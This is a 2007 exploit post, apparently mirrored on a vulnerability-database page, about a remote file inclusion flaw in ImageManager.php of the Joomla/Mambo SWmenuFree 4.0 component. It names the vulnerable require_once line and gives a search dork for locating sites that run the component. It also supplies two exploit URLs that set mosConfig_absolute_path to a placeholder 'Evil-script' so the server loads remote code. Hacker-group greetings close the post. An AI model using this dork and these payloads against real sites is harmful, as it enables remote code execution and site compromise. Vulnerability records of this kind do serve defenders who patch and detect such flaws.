Joomla/Mambo Component SWmenuFree 4.0 RFI Vulnerability

🗓️ 24 Mar 2007 00:00:00Reported by RootType

Joomla/Mambo Component SWmenuFree 4.0 RFI Vulnerability, remote file include vulnerabilities in ImageManager.php, file path disclosur


                                                ######################################################
#
#&nbsp;MAMBO&nbsp;Modules&nbsp;SWmenu&nbsp;4.0&nbsp;(ImageManager.php)&nbsp;Remote&nbsp;File&nbsp;Include&nbsp;Vulnerabilities
#
######################################################
#
#&nbsp;script&nbsp;:&nbsp;http://mamboxchange.com/frs/download.php/8109/com_swmenufree4.0.zip
#
######################################################
#
#&nbsp;file&nbsp;:&nbsp;&nbsp;/ImageManager/Classes/ImageManager.php
#
######################################################
#
#&nbsp;Dork&nbsp;:&nbsp;&nbsp;index.php?option=com_swmenupro
#
######################################################
#
#&nbsp;Found&nbsp;by&nbsp;&&nbsp;Contact&nbsp;:&nbsp;Cold&nbsp;z3ro&nbsp;,&nbsp;[email protected]&nbsp;,&nbsp;http://hack-teach.com/&nbsp;,&nbsp;Team&nbsp;Hell
#
######################################################
#
#&nbsp;require_once($mosConfig_absolute_path.\"/administrator/components/com_swmenupro/ImageManager/Classes/Files.php\");
#
######################################################
#
#&nbsp;Exploit&nbsp;:
#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Here&nbsp;one&nbsp;:&nbsp;http://www.example.com/MAMBO_path/administrator/components/com_swmenupro/ImageManager/Classes/ImageManager.php?mosConfig_absolute_path=Evil-script?
#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Or&nbsp;:&nbsp;http://www.example.com/MAMBO_path/components/com_swmenupro/ImageManager/Classes/ImageManager.php?mosConfig_absolute_path=Evil-script?
#
######################################################


----&nbsp;&nbsp;GreeTz:&nbsp;|MoHaNdKo|&nbsp;&nbsp;|Cold&nbsp;One|&nbsp;&nbsp;|Cold&nbsp;ThreE|&nbsp;|Viper&nbsp;Hacker|&nbsp;|The&nbsp;Wolf&nbsp;KSA|&nbsp;|o0xxdark0o|&nbsp;|&nbsp;Kof2002&nbsp;|&nbsp;|OrGanza|&nbsp;|H@mLiT|&nbsp;|Snake12|&nbsp;|Root&nbsp;Shell|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|Metoovit|&nbsp;|Fucker_net|&nbsp;|Rageb|&nbsp;|CoDeR|&nbsp;|HuGe|&nbsp;|Str0ke|&nbsp;|Dr.TaiGaR|&nbsp;|BLacK&nbsp;HackErD|&nbsp;|JEeN&nbsp;HacKer|&nbsp;|Nazy&nbsp;L!unx|&nbsp;|KURTEFENDY|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|Spid1r&nbsp;Net|&nbsp;|Big&nbsp;Hacker|&nbsp;|Hacccr|&nbsp;|hacoor|&nbsp;||&nbsp;|Geniral&nbsp;C|&nbsp;|Mr.TyrAnT|&nbsp;|Zax|&nbsp;|Zooz|&nbsp;|&nbsp;Al&nbsp;3afreat&nbsp;|&nbsp;|The-Falcon-Ksa|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;The&nbsp;Sniper&nbsp;|&nbsp;.&nbsp;|||&nbsp;Team&nbsp;Hell&nbsp;|||&nbsp;|&nbsp;DearMan&nbsp;|&nbsp;|Pro&nbsp;Hacker|&nbsp;|&nbsp;020&nbsp;|&nbsp;|&nbsp;abdulla00&nbsp;\"&nbsp;alz3eem\"&nbsp;|&nbsp;|&nbsp;The_Viper&nbsp;|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;All&nbsp;i&nbsp;know


#Big&nbsp;Thx&nbsp;For&nbsp;:&nbsp;www.4azhar.com&nbsp;,&nbsp;Viva&nbsp;My&nbsp;HomeLand&nbsp;Palestine

&nbsp;

24 Mar 2007 00:00Current

7.1High risk

Vulners AI Score7.1